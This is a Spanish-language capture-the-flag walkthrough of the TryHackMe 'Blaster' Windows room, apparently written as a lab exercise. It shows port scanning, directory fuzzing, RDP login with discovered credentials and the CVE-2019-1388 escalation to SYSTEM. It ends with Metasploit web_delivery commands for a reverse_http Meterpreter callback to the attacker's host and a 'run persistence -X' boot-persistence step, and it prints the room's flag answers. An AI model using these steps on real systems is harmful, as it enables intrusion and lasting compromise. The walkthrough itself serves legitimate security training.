Vamos con Blaster, una máquina vulnerable Windows, yendo paso a paso a vunerarla sin usar Metasploit, aparentemente.

Comenzamos con un escaneo básico:

rustscan -a IP_Objetivo -- -A

Están abiertos los puertos 80 (http), 3389 (MS WBT Server, Microsoft Terminal Server).

¿Cuántos puertos están abiertos en el sistema?

2

Parece que hay un servidor web corriendo, ¿qué título nos encontramos cuando navegamos a la página?

IIS Windows Server

Interesante, veamos si hay algo más en el servidor cuando le hacemos fuzzing. ¿Cuál es el directorio oculto que descubrimos? La pista nos dice que podemos usar el archivo small dentro del subdirectorio dirbuster de las listas de Kali.

gobuster dir -u Ip_Objetivo -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/retro

Naveguemos hasta él, ¿qué posible nombre de usuario encontramos?

Wade

Navegando por los posts, parece que ha tenido problemas de autenticación. ¿Qué posible contraseña encontramos? La pista dice que chequeemos los comentarios.

parzival

Nos autenticamos con Microsoft Remote Desktop y leemos el user.txt. ¿Cuál es el contenido? La pista nos recomienda Remmina.

Conectamos, con dominio RetroWeb y las credenciales de antes. El user.txt está ahí mismo en el escritorio.

THM{HACK_PLAYER_ONE}

Ahora que hemos accedido, veamos si podemos escalar, exploremos el sistema a ver si podemos encontrar algo interesante.

Cuando enumeramos una máquina, a menudo es útil mirar qué estaba haciendo el usuario por última vez. Mira alrededor y a ver si puedes encontrar el CVE que estaba siendo investigado en este servidor, ¿qué CVE es?

La pista nos dice que investigar el historial del navegador siempre es interesante. El problema es que el historial aparece vacío, no sé si es un fallo o no, porque en otros escritos de la habitación aparece el dato en el historial y aquí no. Es el CVE-2019-1388

CVE-2019-1388

Parece que hace falta un ejecutable para esta vulnerabilidad y el usuario no ha hecho muy buen trabajo limpiando. ¿Cuál es el nombre del ejecutable?

Está ahí mismo, en el escritorio.

hhupd

Investiga la vulnerabilidad y cómo se explota. Hazlo para conseguir una terminal con privilegios elevados.

Se basa en ejecutar el programa del escritorio como Administrador, darle a mostrar más detalles y pulsar en el enlace del certificado. Luego cierras y, en Internet Explorer, le das a guardar página y te vas a C:\Windows\System32, allí buscas cms.exe (poniendo en tipo de archivo . para que te salgan todos) y, una vez lo encuentras, haces clic con el botón derecho y le das a abrir (sí, desde el diálogo de guardado). Cuando lo haces, la consola de comandos se abre con privilegios elevados.

Más información de la vulnerabilidad aquí:

https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

¿Quienes somos cuando hacemos whoami?

nt authority\system

¿Cuál es el contenido de root.txt en el escritorio del administrador?

THM{COIN_OPERATED_EXPLOITATION}

Ahora que hemos comprometido, ganemos acceso y persistencia.

Volviendo a la máquina de ataque, ya que sabemos que la víctima corre Windows Defender, veamos un método diferente de entrega de payload. Para eso, usaremos el exploit script web delivery de Metasploit.

Lanzamos metasploit y seleccionamos exploit/multi/script/web_delivery

sudo msfconsole
search exploit web_delivery
use 1 # Porque esa es la opción en mi caso dentro de las búsquedas numeradas, pero puede ser distinta en otros casos

Primero, establecemos Powershell (PSH) como objetivo. ¿Qué número de objetivo es PSH?

show targets

2

Después de establecer tu payload, configura LHOST y LPORT adecuadamente según la máquina de ataque (recordemos que L significa Local y R remote).

set target 2
set LHOST IP_Ataque
set LPORT 4000

Finalmente, configuramos nuestro payload. En este caso, usaremos un sencillo HTTP inverso. Hacemos esto con el comando:

set paypload windows/meterpreter/reverse_http
run -j # lanzamos el ataque

Al hacerlo, nos da un comando codificado en Bas64 que copiamos y ejecutamos en la terminal que teníamos abierta con privilegios elevados.

Nos abre una sesión de Meterpreter con el número 1 en este caso. Podemos hacer:

sessions -i # Nos permite ver sesiones
sessions 1 # Para elegir y trabajar con meterpreter

Por último, vamos a ver los mecanismos de persistencia vía Metasplot. ¿Qué comando podemos correr en la consola de meterpreter para configurar persistencia que comience automáticamente cuando el sistema se inicia? No incluyas nada excepto el comando base y la opción para ejecución al inicio.

La pista nos dice que visitemos:

https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/

Ahí vemos que el comando es run persistence. Si hacemos run persistence -h vemos las opciones y que la de ejecución al inicio del sistema es -X, así que sería.

run persistence -X

Corremos este comando que nos permitirá conectar a nuestra máquina de ataque cuando la máquina víctima se inicie.

Tendremos que crear un escuchador vía el handler exploit para permitir esta conexión remota en la práctica.